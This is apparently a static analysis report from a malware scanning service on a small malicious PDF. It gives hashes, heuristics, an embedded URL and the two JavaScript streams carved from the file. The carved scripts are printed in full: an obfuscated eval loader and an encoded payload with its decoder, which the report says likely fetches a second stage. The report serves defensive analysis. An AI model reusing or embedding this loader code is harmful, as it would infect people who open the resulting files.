Malicious PDF — malware analysis report

Static analysis result for SHA-256 b692edd0f3cceb27…

MALICIOUS

PDF

2.8 KB First seen: 2026-05-10
MD5: 6d0b553c834d6f239d6751840321ca82 SHA-1: 30b2530176951023805b4ef4727c5068a6afc41b SHA-256: b692edd0f3cceb27868cdfcf6489e0871c47e475f3f756b0e874b31c455f2380
158 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The eval() and String.fromCharCode() functions suggest obfuscated code execution. The primary function of the embedded JavaScript appears to be the execution of arbitrary code, likely to download and execute a secondary payload. The lack of specific strings or URLs makes definitive family attribution impossible.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('izfng3=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://J.ZK/_U6 Referenced by PDF JavaScript

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 257 bytes
SHA-256: abf01e17e8b4972d64ad5b2e3de12aee1202621a105b09abaddd515553792a20
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('izfng3=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x267 3289 bytes
SHA-256: f8b796202c983abc86cc1dbb0106e77ea3b15d0f176eedae8f5a2bd1fc44c44b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
ypetf="0T1E1Z1f2Z1d3P1`1a242R1^3a1[2L2U1V1W2c3K1P1S2b1Q3Z3_1L1M272f1J3^1H3S1F3f3h1=1B3`1@2^1>3N3Y0`1:3M183L163d1.11122Y2e1/2T2W0g0j1*3/330h3+3-0c0d3G3T0a3=3E0^2[0[3]0Y2h0W3b0U2V2g0:0K0P2O0N2_0L3V3X0I2J0G2d0A0D2S0B3I3Q0=0>3W3c0;2X3R06072`3O042]2a";frhscqj=".Nf-CgY9:MehXMca7E/H90Qh>a^b-gF0?=hIQ_a_7E/H90UeECfVbI_b?G=jTECfKi8-4TTE/H90T1b`7LY1M;_c6TMiF0?=BU[c`=eP[AM[Ti92_H7Y1_ha7+j?7Vh7[AA-SZC?9DE;eHP[AM[ReF01gc68--J]T1/HTgagXLY9/E>iTIAePh99/E-EK_c6TK[ATB]Q`+HJZ0*Z01=J]T1/HRT]^`9T,hN***1=J]T1/HR_?W6X?DQ`39SdK=@M;e.[@+,Ca8K66^c<^6].*73,**+,BV*:PU.?,4F,_3gP+,<*/:KK/+,.D+N2-3+,0*;T.4VdN32,7:PW*<.2_/R;>S+,<*L_2;R[N2SNJK66^c=7Da.**G,*c*K0KEV2-SE,**+,D21:Lbe<.**G,B2*K,@^B:MW5,CU8K**1:PF*:K*gN2**.22:+,<aa:J*-R:OJ,.2f<ZPD^R:*+_2SZ+,*cAZK,Ve.?OP:JGeR:**2:=;*K-3*.2:JI,4d^2=@SI,6jGK/F.R:OJ,.2f<ZNVC_2*+_3Q*.3E+,K*GQ:J**:PO3D.C[1:JGJ:J**:P+Q:OV.4.+aI,**+,*1OK*-]ZPO3D.C[1:J8^B:**2:OVe.2f<ZKK0G,**G,CZ+,*1OK/J.4.-95,D>OR;Q.G,*f7K***K+,^R=,a].**G,.V*:K1D@.^@G,**8K6c*K,+d2:**2::J,.OWVK**1:K5*.2;aOK6`Q:J*-R;=J,.+ZYK,/C_2U56K*fhK***K+7.,.6N*:K,+g2UQ6K7DOg2^ha.?Z<K,@*2:MW5,<[Q:J*1:PF*:OV.4.+aG,**+,D>OR;Q.G,+a+,**+,B0G,@Z:R:1Cg2**.2*H@.*95,D>OR;Q.G,*f7K***K,@^R:MW5,/hQ:J*1:PF*:J+dB;B+,K*^]ZPO3D.C[1:J8^B:**2::Ve.ZWVK**1:OOJ,.Z@5:P/^B=0VW,6?K2:**2:**2:**2:**2:**2:**2:**2:**2=gNC,C2]>3ebd,B+J:KNYG,<Gd2<=*,.hbLK36i>3jID.h[Q:KOM8K*,=R=gNC,B+NR=[0G,<GeR=dI4.j-8K-/04K66*2=hi_2B<@:QTj2;SR*K+F<_22ZOR;J4,.6ZXZQ@.W,.V2].>c?R;U@+,*,P:J**:M@*T.-Q7:J**:K?Yi.3J4K*d^>2**.2B+0R:LM,:MP6i.DZ/:JFdT.**,.D@2W,+^K:J**:J44W,8D3N2*+_2?R*K*>?D.F_=2:*-R=**2:T[@R:P*T.-Q7:J**:PD?T.@D>e.^]U:K6+>218DK***K0H<_2VB<_23P8K,i3>2C55:PD.R=@S4K6bE:L^U4K*?R:Q0.].**e.>c*K5H5c:Tbj,D-1:J4-R;ZLC,**G,.V*:K?PI,.Z/:JFdT.**,.`SLR:*F.2**.2**.2**.2**.2**.2**.2**.2<Z+,8D3N2*+_3QJ.3S66K+,ZN22:K:PEJR:1/DK,*^B;SS@ZJFC4.`E@R=6BT.N^8K3,NW,GVWK36O4.*36K6f6K3<N].66g>3f9a.hbLK6OgR<Ai4.hQaK38j2:Z*,.jjO,0*CN3aj4.63i:J+i:KQHT.6?fR=WgN3d-*K**Z2:]ANK-*6O,F3;B;=X/,4>T_2SbE,4NR2;AGV2S<VK/CaZQ,?_2BA]:Q,?_3ai].gKJ:LK0+,4@i_2*4O,@**1UK_c6TK[AT96XSWQSh;RUDCFT`h7VhaEYeETX8Q+O>84h>a^_iRT]^`7b:_g]ePaHKiJY?.X1=J]T1/HSV?cgDSh<=eHB>`R_HK5+B2<Z@*HX1=J]TE/H90TI>2iYERi7M@[AM[Sj?7VhZeF0?:cU`6A<Fb`9T0VC=G_/f2***X>b//@@H8Q+O>3GeKRcU`6A<Fb=eJ8_[G3^G9iP5S8Ecf=/_Q7_9MhA-gF0???HEHA;AQLWPjVA<Fab]Q`7LY1M?-h0LWSO]U1=J]T9dZC?-LY>X8`c>]fh=eNQ_gZSU;Rh,*Z0:J6+JhF8Q+O>jAdh7W-?[aY,PAIUeECfVbI_jeO4aGF9]cfAK=5Y`-feO[aY,PAIMSj8-4RbIQ[eUdLg_[@Pj0`bWSh=H`dSLWA^/dSWBEE[H/9SPg^LA0QcgM=I@d1Kdj?H1UWX?[aY,PAIMjF8J";gpymxog=2731;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/bsbsyvd/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(ypetf.length){bsbsyvd.push((argpewb(ypetf.charCodeAt(0))<<(4+2))+argpewb(ypetf.charCodeAt(1))-(500+12));ypetf=ypetf.slice(2,ypetf.length)}coboar=jvhrb=ypetf=0;dmbweue='';function argpewb(gufwir){if(gufwir>92)gufwir--;return gufwir-42}function avkvatb2(){if(ypetf==0){jvhrb=argpewb(frhscqj.charCodeAt(coboar++));ypetf=6;}return ((jvhrb>>--ypetf)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(gpymxog--){i=0;while(bsbsyvd[i]<0){if(avkvatb2())i=-bsbsyvd[i];else i++;}dmbweue+=String.fromCharCode(bsbsyvd[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.